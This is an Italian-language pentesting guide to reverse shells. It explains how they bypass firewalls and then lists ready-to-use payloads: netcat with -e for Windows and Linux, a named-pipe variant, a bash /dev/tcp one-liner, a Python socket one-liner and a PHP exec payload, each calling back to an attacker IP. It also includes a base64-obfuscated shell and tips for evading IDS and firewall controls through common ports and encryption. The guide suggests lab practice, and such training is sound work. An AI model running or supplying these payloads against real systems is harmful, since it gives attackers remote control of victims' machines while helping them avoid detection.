Reverse Shells - Guida Approfondita
Nel contesto di un attacco informatico o di un'attività di penetration testing, una reverse shell è una tecnica di accesso remoto che consente all'attaccante di ottenere una shell sulla macchina vitti
Reverse Shells - Guida Approfondita
Introduzione
Nel contesto di un attacco informatico o di un'attività di penetration testing, una reverse shell è una tecnica di accesso remoto che consente all'attaccante di ottenere una shell sulla macchina vittima. La peculiarità di questa tecnica è che è la macchina compromessa a stabilire la connessione verso l'attaccante.
Questo approccio risulta particolarmente efficace quando la vittima è protetta da un firewall o da una configurazione di rete restrittiva che blocca le connessioni in ingresso, ma consente quelle in uscita.
Funzionamento
- Attaccante: predispone un listener in ascolto sulla propria macchina.
- Vittima: esegue uno script o un comando che avvia una connessione verso l'attaccante, inoltrando l'accesso alla propria shell.
Vantaggi
- Firewall-friendly: spesso le connessioni in uscita sono meno restrittive.
- Semplice da stabilire: basta un solo comando.
- Stealth: meno evidente per alcuni IDS/IPS rispetto a bind shell (se ben offuscata).
Svantaggi
- Dipendenza da connettività: la vittima deve poter raggiungere l'attaccante (problema con pivoting o reti isolate).
- Possibile log di connessioni esterne: l'indirizzo IP dell'attaccante sarà visibile nei log di sistema e nei sistemi di monitoraggio.
Comandi di Base con Netcat (nc)
1. Avviare il Listener sulla Macchina Attaccante:
nc -lvnp 44442. Connessione dalla Macchina Vittima:
#### Windows
nc.exe -nv 192.168.1.2 4444 -e cmd.exe#### Linux
nc -nv 192.168.1.2 4444 -e /bin/bashNetcat Tradizionale vs Netcat con Supporto a -e
La flag -e non è presente in tutte le versioni di netcat (es. openbsd-netcat su Debian). Si può ovviare installando versioni più flessibili:
sudo apt install netcat-traditionalOppure, si può utilizzare un _named pipe_ per simulare l'esecuzione:
mkfifo /tmp/f; nc 192.168.1.2 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1Tecniche Avanzate
Utilizzo di Bash puro:
bash -i >& /dev/tcp/192.168.1.2/4444 0>&1Reverse Shell in Python:
python -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("192.168.1.2",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh"])'Reverse Shell in PHP:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/4444 0>&1'"); ?>Tecniche di Offuscamento (Evasion)
- Utilizzo di
base64per nascondere la shell:
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi80NDQ0IDA+JjE=' | base64 -d | bash- Offuscare l'host o la porta con variabili e redirect interni.
Considerazioni in Ambienti Pivoting
In scenari di pivoting, la reverse shell diventa meno efficace se la macchina da raggiungere non può contattare direttamente l'attaccante. In questi casi:
- Usa una bind shell sulla macchina bersaglio.
- Tunneling tramite tools come
chisel,ssh,socatometerpreter portfwd.
Best Practice
- Usa porte non convenzionali (es. 8080, 443, 53) per eludere controlli banali.
- Se disponibile, cifra il canale di comunicazione (es. tramite
opensslossh).
- Automatizza con scripts o payloads in Metasploit.
Conclusione
Le reverse shells sono una tecnica fondamentale nel pentesting e nell'exploitation, utile per ottenere una shell remota in ambienti protetti. La comprensione delle dinamiche di rete, dei tool come netcat e delle tecniche di evasione è essenziale per un utilizzo efficace.
Per esercitarti, ti consiglio di testare le varie reverse shell in ambienti di laboratorio (es. TryHackMe, HackTheBox) e comprendere il comportamento del traffico di rete tramite strumenti come Wireshark o tcpdump.
Prossimi approfondimenti consigliati:
- Reverse Shell con Metasploit
- Uso di PowerShell per Reverse Shell
- Creazione di web shell personalizzate